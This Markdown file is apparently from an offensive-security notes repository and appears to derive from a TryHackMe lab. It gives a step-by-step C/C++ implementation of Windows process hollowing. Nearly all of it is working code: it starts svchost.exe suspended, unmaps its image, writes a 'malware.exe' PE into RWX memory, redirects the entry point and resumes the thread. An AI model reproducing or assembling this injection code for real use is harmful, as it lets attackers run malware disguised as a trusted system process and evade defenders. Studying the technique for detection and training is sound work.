killchain-compendium/exploit/windows/process_injection/process_hollowing.md

157 lines
5.5 KiB
Markdown

# Process Hollowing
* Target process which is in suspended state has to be created
```c
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer
if (CreateProcessA(
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
NULL,
NULL,
NULL,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL,
NULL,
target_si, // pointer to startup info
target_pi) == 0) { // pointer to process information
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
```
* Malicious image has to be opened
```c
HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image
GENERIC_READ, // Read-only access
FILE_SHARE_READ, // Read-only share mode
NULL,
OPEN_EXISTING, // Instructed to open a file or device if it exists
NULL,
NULL
);
```
* Unmap memory from the process
```c
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to store retrieved context
); // Obtains the current thread context
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8), // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address
sizeof(PVOID), // Bytes to read
0 // Number of bytes out
);
```
* Allocate and write into the memory unmapped
```c
DWORD maliciousFileSize = GetFileSize(
hMaliciousCode, // Handle of malicious image
0 // Returns no error
);
PVOID pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize, // File size of malicious image
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x04 // Enables read/write access (PAGE_READWRITE)
);
```
```c
DWORD numberOfBytesRead; // Stores number of bytes read
if (!ReadFile(
hMaliciousCode, // Handle of malicious image
pMaliciousImage, // Allocated region of memory
maliciousFileSize, // File size of malicious image
&numberOfBytesRead, // Number of bytes read
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}
CloseHandle(hMaliciousCode);
```
* Get handle of dll
```c
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // Handle of ntdll
"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll
DWORD dwResult = pZwUnmapViewOfSection(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress // Base address of the process
);
```
* Allocate memory for the target process
```c
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure
PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
sizeOfMaliciousImage, // Byte size obtained from optional header
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
```
* Write to the process memory
```c
if (!WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
pMaliciousImage, // Local memory where the malicious file resides
pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
```
```c
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header
WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
pSectionHeader->SizeOfRawData, // Byte size of current section
NULL
);
}
```
* Set entrypoint
```c
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header
SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
);
```
* Switch process state to running
```c
ResumeThread(
target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);
```